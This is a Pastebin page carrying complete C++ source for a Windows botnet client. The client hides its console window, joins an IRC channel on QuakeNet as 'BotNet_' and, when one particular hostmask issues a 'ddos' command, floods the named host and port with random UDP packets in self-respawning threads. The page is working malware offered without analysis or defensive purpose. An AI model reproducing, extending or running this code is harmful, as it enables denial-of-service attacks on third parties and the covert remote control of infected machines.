Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <iostream>
- #include <winsock2.h>
- #include <boost/thread.hpp>
- #include <boost/asio.hpp>
- #include <vector>
- #include <cstdlib>
- typedef std::vector<std::string> StringVec;
- void run_in_hidden_mode()
- {
- HWND Stealth;
- AllocConsole();
- Stealth = FindWindowA("ConsoleWindowClass", NULL);
- ShowWindow(Stealth,0);
- }
- void ddos(const std::string& host, int port)
- {
- std::cout << "Attacking: " << host << ":" << port << std::endl;
- WSAData wsaData;
- if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
- return;
- std::clog << "WSA Ok" << std::endl;
- SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if (sock == INVALID_SOCKET || sock == SOCKET_ERROR)
- return;
- std::clog << "Socket ok" << std::endl;
- sockaddr_in service;
- LPHOSTENT p = gethostbyname(host.c_str());
- service.sin_family = AF_INET;
- service.sin_port = htons(port);
- service.sin_addr = *((LPIN_ADDR)*p->h_addr_list);
- if (connect(sock, (SOCKADDR*)&service, sizeof(service)) == SOCKET_ERROR)
- return;
- std::clog << "Connect ok." << std::endl;
- char toSend[256];
- for (int i = 0; i < 256; i++)
- toSend[i] = (char)(rand() % 255);
- bool sent = false;
- for (unsigned int i = 0; i < 0xFFFF; i++) {
- if (sendto(sock, toSend, 256 - (rand() % 10), 0, (SOCKADDR*)&service, sizeof(service)) == SOCKET_ERROR)
- continue;
- if (!sent) {
- std::clog << "Sent bytes." << std::endl;
- sent = true;
- }
- }
- boost::thread thread(boost::bind(ddos, host, port));
- }
- std::string getMsg(std::string res)
- {
- size_t f = res.find(" :");
- if (f == std::string::npos)
- return std::string();
- size_t p = res.find("\r\n");
- if (p != std::string::npos)
- res.erase(p);
- if (res.length() >= f+2) {
- return res.substr(f+2);
- }
- return std::string();
- }
- std::string getHost(std::string res)
- { std::string::size_type start = res.find("@");
- if(start == std::string::npos)
- return std::string();
- return res.substr(start, res.find(" ")-start);
- }
- StringVec splitString(const std::string& str, const std::string& sep)
- {
- StringVec ret;
- std::string::size_type start = 0, end = 0;
- while((end = str.find(sep, start)) != std::string::npos) {
- ret.push_back(str.substr(start, end - start));
- start = end + sep.size();
- }
- ret.push_back(str.substr(start));
- return ret;
- }
- std::string recv_socket(boost::asio::ip::tcp::socket* socket)
- {
- boost::array<char, 256> buffer;
- boost::system::error_code error;
- size_t p = socket->read_some(boost::asio::buffer(buffer), error);
- if (error == boost::asio::error::eof)
- return std::string();
- return std::string(buffer.data());
- }
- int main()
- {
- run_in_hidden_mode();
- boost::asio::io_service service;
- boost::asio::ip::tcp::socket s(service);
- boost::asio::ip::tcp::resolver resolver(service);
- boost::asio::ip::tcp::resolver::query q("us.quakenet.org", "6667");
- boost::asio::ip::tcp::resolver::iterator endpoint_iterator = resolver.resolve(q);
- boost::asio::ip::tcp::resolver::iterator end;
- boost::system::error_code error = boost::asio::error::host_not_found;
- while (error && endpoint_iterator != end) {
- s.close();
- s.connect(*endpoint_iterator++, error);
- }
- if (error) {
- throw boost::system::system_error(error);
- return 1;
- }
- std::string buffer;
- std::string nick = "USER BotNet_ * * :BotNet_\r\n";
- boost::asio::write(s, boost::asio::buffer(nick, nick.length()));
- nick = "NICK BotNet_\r\n";
- boost::asio::write(s, boost::asio::buffer(nick, nick.length()));
- std::string name = "BotNet_";
- while (true) {
- buffer = recv_socket(&s);
- std::string msg = getMsg(buffer), host = getHost(buffer);
- StringVec splited = splitString(msg, " ");
- if (buffer.substr(0, 4) == "PING") {
- std::string tmp = "PO" + buffer.substr(2) + "\r\n";
- boost::asio::write(s, boost::asio::buffer(tmp, tmp.length()));
- tmp = "JOIN #Fallen\r\n";
- boost::asio::write(s, boost::asio::buffer(tmp, tmp.length()));
- } else if (buffer.find("Nickname") != std::string::npos) {
- name += "_";
- std::string tmp = "NICK " + name + "\r\n";
- boost::asio::write(s, boost::asio::buffer(tmp, tmp.length()));
- } else if (splited[0] == "ddos" && host == "@Xeonz.users.quakenet.org") {
- std::string _host = splited[1];
- int port = atoi(splited[2].c_str());
- boost::thread thread(boost::bind(ddos, _host, port));
- }
- std::cout << buffer << std::endl;
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement